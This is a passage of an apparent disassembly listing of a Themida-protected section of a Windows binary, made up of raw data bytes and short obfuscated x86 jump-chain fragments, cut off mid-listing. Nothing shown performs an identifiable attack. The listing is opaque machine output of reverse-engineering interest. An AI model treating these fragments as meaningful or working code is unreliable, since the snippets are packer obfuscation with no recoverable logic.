		dd 4C481h, 19680000h, 89000017h, 56B9240Ch, 12F1069h, 240C8BCBh
		dd 4C481h, 47C70000h, 0EF054320h, 3A3681Eh, 9FE90000h
		db 71h,	2 dup(0FFh)
byte_58FF37	db 0FFh			; DATA XREF: Themida_:00585BF4o
		dd 0B6E91C77h, 81FFFF93h, 4C5h,	4C58100h, 68000000h, 28C9h
		dd 0FF242C89h, 8B042474h, 6856242Ch, 16F5h, 0FFD664E9h
		dd 24048FFFh, 8124248Bh, 4C4h, 0ED8DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FF76:				; CODE XREF: Themida_:0058B5B0j
		mov	[esp], edx
		mov	edx, 2
		jmp	loc_588858
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 0E95FF929h, 118Fh, 8108EAC1h, 1DF938F2h, 5AD70100h
		dd 1B17E9h, 5BF98800h, 66D1F65Ah, 663F6E68h, 80240C89h
		dd 0E9012404h, 0FFFFEDD1h, 0F752D531h, 875A2414h, 0D7C581D5h
		dd 0E96DCB56h, 0FFFF7771h, 24348B5Fh, 0A5B0E950h, 0C101FFFFh
		dd 5E4EC181h, 28E94AEEh, 87FFFFAAh, 895C243Ch, 20B9240Ch
		dd 0E959E73Fh, 0FFFFF6A3h, 0BCE9F781h, 0C581B22Dh, 3F127AC1h
		dd 2417ED81h, 0FD01256Ah, 2417C581h, 0ED81256Ah, 3F127AC1h
		dd 81243C8Bh, 4C4h, 242C3300h, 33242C31h, 0BCE9242Ch
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59002B:				; CODE XREF: Themida_:00588CD7j
		or	ebx, ebp
		pop	ebp
		sub	ebx, 1
		xor	ebx, 2BE9523h
		jmp	loc_58A300
; ---------------------------------------------------------------------------
		db 0B5h
		dd 20C58076h, 8F8ED80h,	65FAE9EBh, 0C181FFFFh, 4, 4BE56h
		dd 0F1290000h, 240C875Eh, 0FFE56EE9h, 4AC181FFh, 813A3E18h
		dd 0F27AF7E1h, 0E1E95600h, 83FFFFB4h, 0C30004C4h, 425E9h
		dd 0E9515B00h, 0F8Dh
; ---------------------------------------------------------------------------


loc_590088:				; CODE XREF: Themida_:00589B00j
		xor	edi, ecx
		pop	ecx
		or	edi, 76915C2Ah
		dec	edi
		add	edi, 882AA15Ah
		add	edx, edi
		pop	edi
		jmp	loc_590F1A
; ---------------------------------------------------------------------------
		dd 399EC681h, 0F0292475h, 0C00FE95Eh, 0C3BAFFFFh, 29C809FBh
		dd 3CE95AD5h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5900BB:				; CODE XREF: Themida_:0058A51Ej
		pop	eax
		add	esp, 4
		pop	ecx
		not	ecx
		xchg	eax, ecx
		push	ebp
		push	eax
		pop	ebp
		pop	eax
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		sub	esp, 4
		jmp	loc_591A68
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 24048F5Ch, 5D1EE95Ch, 6FB9FFFFh, 81119C41h, 873E19E1h
		dd 0C1814903h, 1DC655DEh, 94E9CB29h, 68FFFF75h,	78C0h
		dd 0FFD648E9h, 556852FFh, 89000008h, 0AE9240Ch,	2DFFFFDCh
		dd 37ABA8D4h, 743EBB53h, 0EB8159D2h, 59D548DEh,	13CEE9h
		dd 4BE00h, 0F1010000h, 5724348Bh, 0C781E789h, 4, 0FF6421E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590141:				; CODE XREF: Themida_:00587DFFj
		xor	ecx, 93678A6h
		sub	ecx, 9BA439CEh
		push	ebx
		push	eax
		push	4F5322EEh
		pop	eax
		and	eax, 2AC76A2Fh
		add	eax, 0F5BCDE02h
		mov	ebx, eax
		pop	eax
		add	ebx, edx
		mov	[ebx], ecx
		pop	ebx
		pop	ecx
		sub	[edx+30h], esi
		mov	esi, [esp]
		add	esp, 4
		popa
		popf
		jmp	locret_58AA75
; ---------------------------------------------------------------------------
		dd 8704C183h, 0E95C240Ch, 0FFFF6380h
dword_590184	dd 0E92434FFh, 0FFFFAD4Fh, 494276BAh, 0C9E9561Dh, 0BAFFFFBBh
					; DATA XREF: Themida_:00585C78o
		dd 3A320FCDh, 4EAC14Ah,	20FAEA81h, 0D10103A3h, 240C335Ah
		dd 33240C31h, 248B240Ch, 4D36624h, 4E99C24h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5901BF:				; CODE XREF: Themida_:0058912Fj
		pop	dx
		xor	ch, 40h
		jmp	loc_58A044
; ---------------------------------------------------------------------------
		db 0B9h, 6Ah, 74h
		dd 0F1815A3Fh, 5A3F746Eh, 8359CB01h, 1C8704C3h,	0B2525C24h
		dd 99E28082h, 28FFB753h, 0B7535BFAh, 0C028E9CDh
		db 2 dup(0FFh)
word_5901F2	dw 53ADh		; DATA XREF: Themida_:00585A6Co
		dd 0ECE9E389h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5901FB:				; CODE XREF: Themida_:0058D739j
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		pop	eax


loc_590207:				; CODE XREF: Themida_:005889AAj
					; Themida_:0058968Dj
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		jmp	loc_58AA37
; ---------------------------------------------------------------------------
		dd offset dword_5BA268
		dw 8900h
		dd 0B9512434h, 2, 5659CE89h, 314C4868h,	0F7295E05h, 5E2434FFh
		dd 0E904C483h, 0FFFF6755h, 42474FFh, 0E92434FFh, 0FFFF9C24h
		dd 240C8B5Ch, 15FE68h, 24048900h, 8904EC83h, 4812424h
		dd 424h, 0D5E2E900h, 0E955FFFFh, 0FFFF891Ah, 0FF5A52E9h
		dd 1A80BFFFh, 0FA290B5Eh, 0C2815D5Fh, 4, 0FF82AFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590285:				; CODE XREF: Themida_:0058A604j
		sub	ecx, 5AFC7064h
		sub	ecx, edi
		add	ecx, 5AFC7064h
		mov	edi, [esp]
		jmp	loc_589E4E
; ---------------------------------------------------------------------------
		db 29h
		dd 55595BDDh, 42474FFh,	24048F5Dh, 6624248Bh, 6866F9F7h
		dd 8966127Eh, 50662414h, 5A05E99Ch, 0EBC1FFFFh,	52F38106h
		dd 814F884Eh, 435DA1C5h, 81DD0153h, 435DA1EDh, 0C9E95B53h
		db 0C5h, 2 dup(0FFh)
byte_5902DB	db 66h			; DATA XREF: Themida_:00585B20o
		dd 0E924048Bh, 0FFFF8094h, 13A5E981h, 0CB29AFE9h, 0FF857AE9h
		dd 0E3E952FFh, 81000017h, 198825F7h, 7CBB5364h,	114A200h
		dd 0FD015BDDh, 7CED81h,	685F14A2h, 6BC6h, 0E9241C89h, 0FFFF6A07h
; ---------------------------------------------------------------------------


loc_59031C:				; CODE XREF: Themida_:0058627Bj
		xor	eax, edx
		pop	edx
		mov	edi, eax
		pop	eax
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_5894D1
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 6EA157F2h, 33BFEE81h, 3C8B1223h, 4C48324h, 5C243487h
		dd 0E9241489h, 0FFFFFDA3h, 0D0E9E7D1h, 68FFFFC1h, 4C08h
		dd 0FF243489h, 8B042474h, 0C4812434h, 4, 0E924048Fh, 0FFFFBBD3h
		dd 7320355Dh, 5A0566DCh, 29E3AEE4h, 295F58C5h, 242C8BE8h
		dd 5104C483h, 4627E6B9h, 59C82959h, 0FF5922E9h,	0D6F658FFh
		dd 6850F680h, 0
		dd 8A243428h, 0C4832434h, 0B1515304h, 3E1C0C8h,	8049C180h
		dd 0CB889FC1h, 0B380E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5903CA:				; CODE XREF: Themida_:0058EEB3j
		or	ebx, 509766D4h
		push	edi
		push	0
		jmp	loc_58ABE0
; ---------------------------------------------------------------------------
		db 87h
		dd 0B5C243Ch, 1E840FC0h, 68FFFFFDh, 2973h, 83240489h, 0AAE904ECh
		dd 81FFFFD8h, 4C3h, 591EE900h, 3431FFFFh, 24343324h, 0FFBD6AE9h
		dd 0AAE95EFFh
		db 8Fh,	2 dup(0FFh)
off_590413	dd offset dword_596168	; DATA XREF: Themida_:00585B28o
		align 4
		dd 57242489h, 0FFDB4FE9h, 0DAC380FFh, 835BD830h, 0F3E904ECh
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59042F:				; CODE XREF: Themida_:0058E4DBj
		mov	[esp], ecx
		mov	ecx, 62034137h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 62034136h
		push	edi
		mov	edi, eax
		mov	esi, edi
		jmp	loc_58B7B4
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 348B0000h, 4ABE924h,	8F5E0000h, 248B2404h, 2424D324h
		dd 5855E99Ch, 0F42CFFFFh, 240C8B66h, 2C481h, 82E90000h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59047F:				; CODE XREF: Themida_:00587D9Fj
		mov	ecx, 1CCB3F86h
		push	ebp
		mov	ebp, 23B12FA4h
		push	ecx
		mov	ecx, 0BF8390F2h
		mov	edx, ecx
		jmp	loc_58E035
; ---------------------------------------------------------------------------
		db 89h
		dd 0B2B82404h, 18AF207h, 0A35FE9C7h, 8B66FFFFh,	22E92404h
		dd 89000001h, 0E0892404h, 0F8BFE955h, 7F83FFFFh, 840F0020h
		dd 901h, 0E9E28952h, 0FFFF73E9h
; ---------------------------------------------------------------------------


loc_5904CC:				; CODE XREF: Themida_:00588EF3j
		push	ebx
		mov	ebx, 41770A3h
		shr	ebx, 6
		jmp	loc_58A3B1
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 0FFB13CE9h, 0C00104FFh, 0D8F602E0h, 5134D8F6h, 8058C500h
		dd 3BE921EBh, 31FFFFB5h, 0F1015DEEh, 0FFA479E9h, 0A9E950FFh
		dd 81FFFFF1h, 4ECh, 24048900h, 986966B8h, 0E8C14828h, 4E8C102h
		dd 0F4A20548h, 0C7094785h, 1CF78158h, 0E96D426Bh, 0FFFFFAC4h
; ---------------------------------------------------------------------------


loc_590530:				; CODE XREF: Themida_:00588127j
		pop	esp
		jmp	loc_585E38
; ---------------------------------------------------------------------------
		dw 0D701h
		dd 0C0B60F5Ah, 688734FFh, 17A0h, 55243489h, 66584D68h
		dd 814D5D29h, 99ABB0C5h, 589DE9D6h, 0C89FFFFh, 0B7C5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590562:				; CODE XREF: Themida_:00588A7Fj
		add	bl, dl
		jmp	loc_588603
; ---------------------------------------------------------------------------
		db 68h,	2 dup(67h)
		dd 34890000h, 815E5424h, 4C6h, 0E9515500h, 0FFFFA0B4h
; ---------------------------------------------------------------------------


loc_590580:				; CODE XREF: Themida_:0058C636j
		xchg	edx, [esp]
		jmp	loc_588286
; ---------------------------------------------------------------------------


loc_590588:				; CODE XREF: Themida_:005916D8j
		xor	ecx, 1417085Ah
		mov	eax, ecx
		jmp	loc_588BFA
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 0FFFF74DEh, 5202C483h, 0D6F65FB6h, 8055CE80h
		dd 6FE9EDE6h, 0E9FFFF88h, 0FFFF570Bh
; ---------------------------------------------------------------------------


loc_5905B8:				; CODE XREF: Themida_:0058AC26j
		xor	esi, [esp]
		jmp	loc_5888CE
; ---------------------------------------------------------------------------
dword_5905C0	dd 0E92434FFh, 0FFFFBF03h, 5624148Bh, 11F1E9h, 0E7895700h
					; DATA XREF: Themida_:00585AB0o
		dd 4C781h, 0D6E90000h, 1FFFFE6h, 4D1005C8h, 665958C1h
		dd 0D4E930FFh, 0F6FFFF56h, 0F4EB80DBh, 0C05BD820h, 536608E8h
		dd 0D7F6C788h, 0FF9ABBE9h
		db 0FFh
byte_590605	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00585AB4o
		dd 1345E9h
		db 0
byte_59060D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00585B84o
		dd 4EC8158h, 89000000h,	5A542414h, 82DFE956h, 0C300FFFFh
		dd 0FFB402E9h, 55BF68FFh, 4890000h, 0DF98E924h,	8B54FFFFh
		dd 0FEE9240Ch
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59063F:				; CODE XREF: Themida_:00587E1Fj
		mov	[esp], ecx
		jmp	loc_585CC3
; ---------------------------------------------------------------------------
byte_590647	db 0ACh			; DATA XREF: Themida_:00585A58o
		dd 6866D830h, 89663623h, 57B62414h, 0FFC1B3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590659:				; CODE XREF: Themida_:00588033j
		mov	[esp], ebp
		jmp	loc_5916CC
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 86h
		dd 2C5BF800h, 0E9D8283Fh, 1111h, 51240489h, 0E9AAB050h
		dd 0FFFFA835h
; ---------------------------------------------------------------------------


loc_59067C:				; CODE XREF: Themida_:00590C0Aj
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_58B90E
; ---------------------------------------------------------------------------
		db 58h,	29h, 0F0h
		dd 0BB82E95Eh, 0E981FFFFh, 13F24E05h, 159CF29h,	0DE03E9CFh
		dd 1C87FFFFh, 0C3815C24h, 4, 2B951h, 0C3810000h, 3BA56DD5h
		dd 0EB81CB01h, 3BA56DD5h, 8B2434FFh, 0C483240Ch, 4C48304h
		dd 2474FF53h, 48F5B04h,	24248B24h, 4BB0F66h, 0E4E99C24h
		dd 89FFFF55h, 0C3E7E9E0h, 2C8BFFFFh, 0E0895024h, 405h
		dd 40500h, 4870000h, 0C3295C24h, 0C74E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_590702:				; CODE XREF: Themida_:00587D17j
		mov	edx, 1228162Dh
		xor	edx, 156D5F06h
		dec	edx
		jmp	loc_58B73B
; ---------------------------------------------------------------------------
		db 89h
		dd 0FEE9241Ch
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59071B:				; CODE XREF: Themida_:0058F9A8j
		xor	esi, 0A61FE49Ch
		jmp	loc_58DCE6
; ---------------------------------------------------------------------------


loc_590726:				; CODE XREF: Themida_:005915C4j
		add	bl, dl
		push	dx
		mov	dh, 1Ch
		jmp	loc_589AC1
; ---------------------------------------------------------------------------
a3Ht		db '3<$\h’',1Bh,0
		align 2
aI4HW		db '‰4$hÚW',0
		align 2
		dw 3C89h
		dd 0BD555024h, 4AD876DAh, 5C1D25B8h, 5DE83169h,	0FF69FEE9h
		dd 6DEE81FFh, 5A28641Ah, 2474FF56h, 0C8E95E04h,	5FFFFFD6h
		dd 0BA52DE01h, 5BD423A6h, 1175F281h, 0E2815385h, 6C8603F6h
		dd 68E95751h, 0B1FFFF89h, 59C8282Fh, 0FFA35FE9h, 182768FFh
		dd 0E9595591h, 0BB5h, 4A30F66h,	3CE99C24h, 58FFFF6Dh, 0FFA835E9h
		dd 0DAB252FFh, 148BD128h, 0F3F5E924h, 8F5DFFFFh, 0B8E92404h
		dd 68FFFFC9h, 6B17h, 0FF91FEE9h, 241431FFh, 0E9241433h
		dd 328h
; ---------------------------------------------------------------------------


loc_5907D8:				; CODE XREF: Themida_:0058CB81j
		add	eax, ebp
		pop	ebp
		xor	eax, [esp]
		jmp	loc_58C685
; ---------------------------------------------------------------------------
		db 31h
		dd 2DE95AD7h, 80FFFF7Bh, 0EAC086E2h, 28C28007h,	0FFAF19E9h
		dd 0F58166FFh, 816626CDh, 66527EEDh, 0FC43C581h, 0FF6CFCE9h
		dd 5301BFFFh, 0D7F733E4h, 0DF9C781h, 81475CFFh,	47452BF7h
		dd 5EE7817Fh, 8176170Bh, 150B50F7h, 5FFD8956h, 875DE901h
		dd 0D35C240Ch, 0E99C243Ch, 0FFFF5483h, 0E903E1C1h, 0FFFFFE46h
; ---------------------------------------------------------------------------


loc_590848:				; CODE XREF: Themida_:0058BF9Cj
		pop	eax
		add	edx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_59085A:				; CODE XREF: Themida_:0058C9BDj
		sub	edi, 0B7D014EAh
		xor	ebp, edi
		pop	edi
		and	esi, ebp
		pop	ebp
		jmp	loc_58AD3D
; ---------------------------------------------------------------------------
		db 8Fh
		dd 505C2404h, 0BE56E089h, 4, 844E9h, 2CE30400h,	0CCDE97Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_590886:				; CODE XREF: Themida_:0058F69Fj
		mov	edi, 65D875B1h
		dec	edi
		jmp	loc_58BCCD
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 8F04C483h, 685C2404h, 32D3h,	8F240C89h, 5419E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5908AA:				; CODE XREF: Themida_:0058F5D8j
		add	esp, 4
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		jmp	loc_59153C
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h, 6B69E900h, 0E95DFFFFh,	0FFFF7AD0h
dword_5908CC	dd 48B5450h, 4C48324h, 405h, 42D00h, 4870000h, 6BE95C24h
					; DATA XREF: Themida_:00585A10o
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5908E7:				; CODE XREF: Themida_:0058F386j
		add	esp, 4
		xchg	eax, [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_586B73
; ---------------------------------------------------------------------------


loc_5908F9:				; CODE XREF: Themida_:0059193Dj
		push	edx
		mov	edx, 3E9A68E9h
		sub	[esp+4], edx
		pop	edx
		jmp	loc_58C7E4
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4C6h, 4B95100h, 81000000h, 0EC7FBEC6h, 81CE0160h
		dd 0EC7FBEEEh, 34335960h, 24343124h, 8B243433h,	88E92424h
		dd 81FFFF53h, 4C4h, 16C58100h, 590E7C5Ah, 3662C781h, 0EF017CCAh
		dd 3662EF81h, 34FF7CCAh, 0C4835D24h, 9168FD04h,	89000046h
		dd 0BA522404h, 44CF44BAh, 0EF8044B8h, 7D85E949h
		db 2 dup(0FFh)
word_590976	dw 6664h		; DATA XREF: Themida_:00585C10o
		dd 1E9028Bh
		db 97h,	2 dup(0FFh)
byte_59097F	db 0FFh			; DATA XREF: Themida_:00585C48o
		dd 669D1C77h, 241CD259h, 5335E99Ch, 0C483FFFFh,	0ACC28104h
		dd 290A8E1Dh, 0ACEA81DAh, 810A8E1Dh, 0E00FE5C2h, 8DC28168h
		dd 811D034Bh, 2E5F4EC2h, 0C2295B64h, 6C8E9h, 24048100h
		dd 4, 1FBF5759h, 0E93EBC30h, 0FFFFD1BAh, 4B8FC581h, 0F5294293h
		dd 4B8FBA52h, 0D5294293h, 0C5815E5Ah, 0AAF5BCDh, 0FFC2E9E9h
		dd 0C4835BFFh, 47E6804h, 53E90000h, 81FFFF6Ch, 4E6F67C7h
		dd 7EEEE926h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590A02:				; CODE XREF: Themida_:0058B42Ej
		pop	edx
		push	ebx
		mov	ebx, 232248F1h
		push	ebx
		jmp	loc_58B8E7
; ---------------------------------------------------------------------------
		db 1
		dd 0A053E9F3h, 0D5F7FFFFh, 0FF6C7EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590A1D:				; CODE XREF: Themida_:005885FEj
		mov	edx, esp
		add	edx, 4
		jmp	loc_58AF37
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 5825C381h, 84E9165Ch, 56FFFFC6h, 3301A5BEh, 72CE816Ch
		dd 0F7087255h, 3EEC1DEh, 0BFF6814Eh, 8116E334h,	92A1FBEEh
		dd 5EF20104h, 4B850h, 0C2290000h, 8324048Bh, 148704C4h
		dd 4895C24h, 794DB824h,	44310E8Ch, 48B0424h, 4C48324h
		dd 6840478Fh, 633h, 0FF69B7E9h,	8BF828FFh, 0C483241Ch
		dd 286A2C04h, 6AB652D8h, 148BF000h, 0EF5DE924h,	0CD01FFFFh
		dd 6B1AC581h, 55593F51h, 42474FFh, 0FF8C8FE9h, 0EC8157FFh
		dd 4, 83242489h, 8B042404h, 8953243Ch, 9A3E9E3h, 0F1800000h
		dd 8BCA2880h, 0C483240Ch, 5AD03004h, 0FF86F2E9h, 240C89FFh
		dd 0FFE146E9h, 2474FFFFh, 0CEE95B04h, 8FFFFF7Ah, 0CE682404h
		dd 0E900003Bh, 0FFFFC70Eh, 0FF24248Bh, 0E99C240Ch, 0FFFF51B7h
		dd 8158C709h, 7E7DDBF7h, 5FF90175h, 4EC81h, 4EE90000h
		dd 89FFFF7Eh, 685550E1h, 2663EC7h, 6EDC15Dh, 59EF581h
		dd 0AFE9485Eh, 89FFFF55h, 3968240Ch, 89000044h,	4832424h
		dd 0BBE90424h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_590B4F:				; CODE XREF: Themida_:005864FFj
		sub	bl, dh
		add	bl, 0ABh
		pop	edx
		movzx	eax, al
		jmp	loc_587A3D
; ---------------------------------------------------------------------------
		db 50h,	88h, 0D4h
		dd 4AE9E588h, 89FFFF6Ah, 78E9241Ch
		db 9Bh,	2 dup(0FFh)
byte_590B6F	db 66h			; DATA XREF: Themida_:00585B98o
		dd 68240C8Bh, 594Ch, 0FFCE68E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590B7D:				; CODE XREF: Themida_:00589413j
		push	esi
		push	edi
		push	edx
		mov	edx, 6EA7588Eh
		or	edx, 5BF67C40h
		jmp	loc_586918
; ---------------------------------------------------------------------------
		dd 0FA2AC2B9h, 849E924h, 34FF0000h, 0EC815824h,	4, 54242C89h
		dd 0BE94E95Dh, 0EE81FFFFh, 17D9707Ah, 0BA52C601h, 514A03C8h
		dd 16DEA81h, 0BB533E6Eh, 3B491D5Dh, 0E95BDA29h,	0FFFF98F8h
		dd 5DE95954h, 5CFFFFCDh, 9C242CD2h, 0FF50E2E9h
		db 0FFh
byte_590BE1	db 0ACh, 51h, 89h	; DATA XREF: Themida_:00585AE0o
		dd 4C181E1h, 83000000h,	0C8704E9h, 9EE95C24h, 1FFFF67h
		dd 50535FF8h, 5C6223B8h, 8B60E965h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590C06:				; CODE XREF: Themida_:00588B96j
		push	dword ptr [esp+4]
		jmp	loc_59067C
; ---------------------------------------------------------------------------


loc_590C0F:				; CODE XREF: Themida_:0058FE0Dj
		mov	[esp], ebp
		mov	ebp, 1
		push	eax
		mov	eax, 24h
		add	eax, edi
		add	[eax], ebp
		pop	eax
		pop	ebp
		jmp	loc_58F48F
; ---------------------------------------------------------------------------


loc_590C28:				; CODE XREF: Themida_:0058F5EEj
		push	ecx
		jmp	loc_58E78D
; ---------------------------------------------------------------------------
		dd offset dword_49005C+0C20Ch
		dw 8900h
		dd 6682414h, 5A600879h,	34FFD031h, 22E95A24h, 89FFFFF9h
		dd 0CBF243Ch, 0E93ED525h, 0FFFF7A39h
; ---------------------------------------------------------------------------


loc_590C54:				; CODE XREF: Themida_:0058C688j
		xor	eax, [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 25229125h, 1FFC2D1Ch, 0C1011005h, 608E958h, 1C870000h
		dd 0F5875E24h, 0E0C8ED81h, 0EF01B3C5h, 4EC835Dh, 0B8240489h
		dd 2, 1B4CC781h, 0C7013B6Ch, 1B4CEF81h,	87583B6Ch, 0E95C243Ch
		dd 0FFFF9B72h, 4C1815Fh, 33000000h, 0C31240Ch, 240C3324h
		dd 81E9F75Ch, 4ECh, 0CCCBE900h,	0B850FFFFh, 705B2DE9h
		dd 0B77B1B25h, 71E908h,	0B6BD0000h, 0E90EE907h,	0FFFF72A3h
; ---------------------------------------------------------------------------


loc_590CE0:				; CODE XREF: Themida_:00588708j
		push	29E0h
		jmp	loc_58DB68
; ---------------------------------------------------------------------------
word_590CEA	dw 32FFh		; DATA XREF: Themida_:00585B5Co
		dd 0FF4FD2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590CF1:				; CODE XREF: Themida_:0058F685j
		add	ebx, 2BDAB3C0h
		add	esi, ebx
		pop	ebx
		xor	ebx, esi
		pop	esi
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		shr	eax, 18h
		jmp	loc_588115
; ---------------------------------------------------------------------------
		db 2Ch
		dd 4F800C6h, 0DEC7E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590D1E:				; CODE XREF: Themida_:005870ADj
		push	ebx
		mov	bl, 24h
		xor	bl, 49h
		push	ax
		jmp	loc_586900
; ---------------------------------------------------------------------------
		db 5Ah
		dd 3910ED81h, 0C5015B1Ah, 4D54BE56h, 41E95DF0h
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590D3F:				; CODE XREF: Themida_:0058D15Fj
		shr	ecx, 7
		jmp	loc_58FBCE
; ---------------------------------------------------------------------------
		db 0Dh
		dd 0E1F5860h, 9E679825h, 5DC52546h, 435769Fh, 1061E41h
		dd 0C3358C1h, 240C3124h, 5C240C33h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5879A6
; ---------------------------------------------------------------------------


loc_590D70:				; CODE XREF: Themida_:0058FC3Aj
		sub	esp, 4
		mov	[esp], esp
		push	esi
		jmp	loc_58C6C3
; ---------------------------------------------------------------------------
		db 5
		dd 4, 405h, 24048700h, 4C7815Ch, 0E9000000h, 0FFFFDFFAh
		dd 42474FFh, 0FFFAF0E9h, 0CEC681FFh, 8147F12Fh,	2E3DD6C6h
		dd 0E9F001B7h, 0FFFF62A4h, 8F7988BFh, 5FFB0154h, 81FFEB83h
		dd 7D16ACC3h, 0E68956AFh, 4C681h, 50510000h, 392914B8h
		dd 5D7A3500h, 453562FFh, 0E918AA05h, 0FFFFBAF0h, 0C103E8C1h
		dd 5B3503E8h, 97DE7CFh,	0F28158C2h, 4CDC3F86h, 15AD031h
		dd 0A567E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590E02:				; CODE XREF: Themida_:0058F754j
		mov	ebp, [esp]
		jmp	loc_58F976
; ---------------------------------------------------------------------------
		dw 565Ah
		dd 0FFB119E9h, 7EEC1FFh, 7C12CE81h, 0F68124E8h,	39DA7171h
		dd 7529BD55h, 0EE312865h, 5EF2015Dh, 0FF4E92E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590E31:				; CODE XREF: Themida_:0058AA9Cj
		mov	ebx, 691F38B0h
		sub	esp, 4
		jmp	loc_58F3FF
; ---------------------------------------------------------------------------


loc_590E3E:				; CODE XREF: Themida_:00588436j
		mov	ebx, 40000h
		jmp	loc_58690E
; ---------------------------------------------------------------------------
		dd 0ED80D5F6h, 882C06h,	8BB353E8h, 86FFC380h, 0E63EE9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590E5E:				; CODE XREF: Themida_:00586F26j
		push	dword ptr [esp]
		jmp	loc_589B53
; ---------------------------------------------------------------------------


loc_590E66:				; CODE XREF: Themida_:005892C2j
		pop	ebx
		sub	ecx, 7EC445D6h
		sub	ecx, eax
		add	ecx, 7EC445D6h
		pop	eax
		mov	edx, 26C4277Bh
		sub	edx, ecx
		mov	ecx, [esp]
		jmp	loc_58E742
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0AE9575Ah, 51FFFF84h, 0F58060B5h, 0E9CDFEBEh, 0FFFF9000h
		dd 2BE56h, 0F0010000h, 74FF505Eh, 0E9580424h, 7D8h, 0C280CAFEh
		dd 8BD0302Fh, 0C4812414h, 4, 0EC835366h, 24148904h, 0FF5DF8E9h
		dd 24348BFFh, 0BF7FE950h, 0C89FFFFh, 0F61DB524h, 80C5FED5h
		dd 0ED8027F5h, 0FF5EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590EEA:				; CODE XREF: Themida_:00586C78j
		mov	[esp], ecx
		push	ebp
		mov	ebp, 1329324Ah
		jmp	loc_58D497
; ---------------------------------------------------------------------------
		dd 4245C29h, 24048B5Bh,	0FFB946E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590F05:				; CODE XREF: Themida_:00585CC4j
		xor	al, bl
		push	ecx
		mov	ch, 0F1h
		push	bx
		mov	bl, 0F9h
		sub	ch, bl
		pop	bx
		add	ch, 61h
		jmp	loc_5871DB
; ---------------------------------------------------------------------------


loc_590F1A:				; CODE XREF: Themida_:0059009Bj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	2306h
		mov	[esp], esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		jmp	loc_5915ED
; ---------------------------------------------------------------------------


loc_590F44:				; CODE XREF: Themida_:0058BC57j
		xor	edi, edx
		mov	edx, [esp]
		jmp	loc_588514
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4EC8104h, 89000000h,	0FBB82404h, 0F74A466Bh,	701D0DD8h
		dd 69E91A53h, 0FFFFFFE3h, 815E2404h, 883280EEh,	1C7E97Ch
		dd 0A6BA0000h, 0E9379474h, 0FFFF79F5h, 0BE665666h, 45E9B358h
		dd 0BBFFFFC8h, 6B1B4DD8h, 4EC81h, 4890000h, 2FEDB824h
		dd 0D8F75CC5h, 4739330Dh, 7E8C15Eh, 0A4054048h,	8921307Eh
